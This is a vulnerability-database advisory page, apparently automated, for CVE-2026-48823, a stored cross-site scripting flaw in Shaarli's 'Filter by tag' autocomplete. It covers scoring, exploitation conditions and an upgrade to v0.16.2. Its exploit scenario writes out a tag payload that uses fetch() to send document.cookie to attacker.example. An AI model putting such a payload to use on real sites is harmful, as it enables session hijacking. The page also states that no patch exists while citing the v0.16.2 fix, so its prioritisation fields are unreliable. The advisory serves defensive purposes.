Skip to main content

Shaarli CVE-2026-48823

MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-06-17 GitHub_M
4.8
CVSS 3.1 · Vendor: GitHub_M
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Authenticate to Shaarli as any account with bookmark creation rights
  2. Delivery
    Create Shaare with XSS payload embedded in tag field
  3. Exploit
    Payload persists in database unmodified
  4. Install
    Victim authenticates and uses 'Filter by tag' autocomplete on homepage
  5. C2
    Awesomplete renders malicious tag into DOM without encoding
  6. Execute
    JavaScript executes in victim browser context
  7. Impact
    Session cookie or credentials exfiltrated to attacker

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Two concrete sequential conditions are required. First, the attacker must hold an authenticated Shaarli account with bookmark creation privileges - unauthenticated visitors cannot submit Shaares and therefore cannot plant the persistent payload. Second, a separate victim (any authenticated user including administrators) must actively interact with the 'Filter by tag' autocomplete search functionality on the homepage after the malicious bookmark exists in the database; simply loading the homepage without triggering the tag filter is insufficient to execute the payload. Exploitation is limited to Shaarli instances running version 0.16.1 or earlier. Instances restricted to a private network or VPN reduce reachability but do not eliminate the vulnerability if internal users with accounts exist.

Impact

The NVD-assigned CVSS 3.1 vector CVSS:3.1/AV:L/AC:L/PR:H/UI:R/S:U/C:H/I:L/A:N yields a score of 4.8, but the AV:L (Local) designation is anomalous and inconsistent with a stored XSS vulnerability in a web application - the attack is delivered over a network to a victim's browser, not via local system access. This metric warrants verification with NVD or the vendor; the likely intended vector is AV:N. The PR:H (High privileges) rating implies bookmark creation requires elevated access, though the description states only 'authenticated user' without specifying admin-level access, suggesting PR:L or PR:H is debatable. Real-world risk is bounded by several factors: exploitation requires an authenticated session to plant the payload, a second user must actively use the tag-filter feature to trigger it, and Shaarli is predominantly deployed as a small-footprint self-hosted personal tool with limited public exposure. No CISA KEV listing exists and no public exploit code has been identified, keeping opportunistic exploitation risk low. EPSS data was not provided in the source intelligence.

Exploit ScenarioDerived

An authenticated Shaarli user creates a bookmark with a tag value containing an HTML event handler payload such as onmouseover=fetch('https://attacker.example/?c='+document.cookie). The tag is stored in the database as-is. When an administrator or other authenticated user later uses the 'Filter by tag' autocomplete field on the homepage, Awesomplete renders the malicious tag in the DOM without encoding, executing the JavaScript in the victim's browser session and exfiltrating their session cookie to the attacker-controlled endpoint. No public proof-of-concept has been identified, but the technique requires only foundational XSS knowledge and standard browser developer tools.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
No patch listed yet 0.1% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jun 17, 2026

Stored XSS in Shaarli's tag filtering functionality permits an authenticated user to inject persistent JavaScript payloads via the bookmark tags field, which execute in the browsers of any user who subsequently interacts with the 'Filter by tag' search feature on the homepage. All Shaarli deployments running version 0.16.1 or earlier are affected, including instances where administrators use the tag-filter feature. The vulnerability enables session hijacking or credential exfiltration against any user who triggers the tag search, with no public exploit code or CISA KEV listing identified at time of analysis. Vendor-released patch v0.16.2 (2026-05-23) resolves the issue.

RemediationAI

Upgrade to Shaarli v0.16.2, released 2026-05-23, which resolves this vulnerability by encoding tag text in Awesomplete autocomplete suggestions and applies additional XSS fixes for Markdown href sanitization and thumbnail DOM insertions. The patched release is available at https://github.com/shaarli/Shaarli/releases/tag/v0.16.2. Prior to patching, administrators can reduce exposure by restricting bookmark creation to a minimal set of fully trusted accounts, as unauthenticated users cannot plant the payload; however, this limits core application functionality. Placing the Shaarli instance behind a VPN or IP allowlist to eliminate public network access removes the network delivery vector entirely with no functional trade-off for personal deployments. Disabling the 'Filter by tag' feature via template modification would prevent payload execution but would break a core search workflow.

Affects your stack

Find out whether the stacks and servers you run are on an affected version.

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Shaarli is a self-hosted PHP bookmarking application (CPE: cpe:2.3:a:shaarli:shaarli:*:*:*:*:*:*:*:*). The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation - Cross-Site Scripting), specifically the stored variant. Tag values submitted during bookmark (Shaare) creation were persisted to the database without sanitization. The v0.16.2 changelog confirms the fix targeted 'encode tag text in Awesomplete autocomplete suggestions,' revealing that the Awesomplete JavaScript autocomplete library was the injection sink: tag values were passed unsanitized into Awesomplete's suggestion rendering, which injected them into the DOM without HTML encoding. HTML elements with JavaScript event handlers in a tag value (e.g., onmouseover) would therefore execute when users hovered over or clicked autocomplete suggestions in the 'Filter by tag' interface. The same release also patched related XSS vectors in Markdown href sanitization and thumbnail DOM insertions.

Know when Shaarli gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (GitHub_M) PRIMARY 4.8 MEDIUM
AV:L/AC:L/PR:H/UI:R/S:U/C:H/I:L/A:N
vuln.today AI 5.4 MEDIUM

Stored XSS is network-delivered to victim browsers (AV:N); any authenticated account can plant the payload (PR:L); victim browser session constitutes a changed scope (S:C); no availability impact applies.

3.1 AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:L/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N

Primary rating from Vendor (GitHub_M).

CVSS VectorVendor: GitHub_M

Attack Vector
Local
Attack Complexity
Low
Privileges Required
High
User Interaction
Required
Scope
Unchanged
Confidentiality
High
Integrity
Low
Availability
None

DescriptionCVE.org

Shaarli is a personal bookmarking service. Versions 0.16.1 and prior contain a stored Cross-Site Scripting (XSS) vulnerability in the tag filtering functionality of Shaarli. An authenticated user can inject arbitrary JavaScript into the tags field when creating a bookmark (Shaare). The malicious payload is stored and later executed when users interact with the "Filter by tag" search feature on the homepage. User-supplied input in the tags field is not properly sanitized or output-escaped before being rendered in the tag filtering interface. When a bookmark is created with a malicious payload inside the tag field, the payload is stored in the database. Later, when a user searches using the "Filter by tag" functionality on the homepage, the application renders matching tags dynamically. If the tag value contains HTML with JavaScript event handlers, it is injected into the DOM. This impacts anyone interacting with the "Filter by tag" search functionality, administrators and privileged users. This issue has been fixed in version 0.16.2.

Threat Intelligence Overview

EPSS Score
0.1%
Top 98% exploitable
Social Media
1
Sightings
Data Quality
5 sources
Confidence: Medium
NVD CVE.org EPSS Vulnrichment CIRCL GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.1%
Patch available No
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
Poc
System Exposure· derived
Small
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

24
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +24
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

Affected Products (CPE)CVE.org

cpe:2.3:a:shaarli:shaarli:*:*:*:*:*:*:*:*

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy